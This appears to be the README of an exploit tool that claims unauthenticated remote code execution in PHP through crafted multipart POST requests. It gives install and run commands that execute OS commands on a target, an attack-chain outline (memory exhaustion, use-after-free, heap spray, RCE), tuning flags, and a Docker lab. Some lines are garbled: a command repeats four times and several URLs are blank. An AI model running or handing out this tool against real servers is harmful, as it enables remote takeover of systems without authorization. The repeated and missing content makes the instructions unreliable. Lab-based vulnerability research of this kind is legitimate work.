Exploit for Improperly Controlled Sequential Memory Allocation in Php

**For authorized security testing only — on systems you own or have explicit written permission to test.**

### Option A — `go install` (fastest, requires Go 1.22+)

go install github.com/IamLucif3r/CVE-2026-109618-exploit@latest

CVE-2026-109618-exploit -target -cmd "id"

No Go installed? Install it in 30 seconds:

### Option B — Download pre-built binary (from a tagged release)

Pre-built binaries are attached to every [GitHub Release](

chmod +x exploit && ./exploit -target -cmd "id"

chmod +x exploit && ./exploit -target -cmd "id"

chmod +x exploit && ./exploit -target -cmd "id"

chmod +x exploit && ./exploit -target -cmd "id"

> Binaries are built automatically by GitHub Actions when a new tag is pushed.

> If the `curl` returns a tiny file that says "Not found", no release exists yet — use Option A instead.

git clone

make all # start lab + run exploit in one shot

make exploit # run exploit against lab (localhost:8888)

make exploit TARGET= CMD="whoami"

PHP has two critical memory-safety bugs triggered by crafted `multipart/form-data` HTTP POST requests:

| **CVE-2026-109618** | Memory corruption (OOM) | Large multipart fields exhaust `memory_limit` mid-parse, `longjmp()` fires on partially-initialized state |

| **CVE-2026-109619** | Use-after-free | `PHP_SESSION_UPLOAD_PROGRESS` field reads freed worker memory from a prior request |

Neither bug requires login, a special endpoint, or any application code — they fire **inside the PHP engine before any `.php` script runs**.

See [docs/vulnerability.md](docs/vulnerability.md) for the full technical breakdown with annotated HTTP requests.

Send N large multipart POSTs → exhaust memory_limit → PHP longjmp()

→ worker's internal session/decoder state freed but NOT zeroed

→ stale pointers remain in the PHP worker heap

+ PHP_SESSION_UPLOAD_PROGRESS field ← fires before any app code

+ 128 KB file upload (fake PHP zval structs)

→ upload progress handler dereferences stale pointer → UAF

→ heap spray reclaims freed region → controlled write → RCE

| `-target` | **required** | Base URL, e.g. ` |

| `-path` | `/index.php` | PHP endpoint path |

| `-cmd` | `id` | OS command to execute |

| `-mode` | `auto` | `auto` / `modphp` / `fpm` |

| `-workers` | `8` | Worker slots to spray |

| `-oom-parts` | `30` | Multipart fields in Phase 1 |

| `-part-size` | `204800` | Bytes per field (200 KB) |

| `-spray-size` | `131072` | Heap spray size (128 KB) |

| `-timeout` | `15s` | Per-request timeout |

| `-verbose` | false | Print raw response body |

| `-leak-only` | false | Memory leak only (ASLR analysis) |

| PHP ≤ 8.1 | all | no upstream patch — use distro backport |

The `sandbox/` directory contains a ready-made vulnerable target (PHP 8.4.26 + Apache mod_php) with default settings that expose both CVEs.

docker compose up -d # starts on :8888

open # attack surface dashboard

make all start lab + run exploit (one shot)

make lab-logs tail Apache/PHP error logs live

make lab-shell open bash inside the container

make exploit build & run against lab

make leak memory leak mode (ASLR analysis)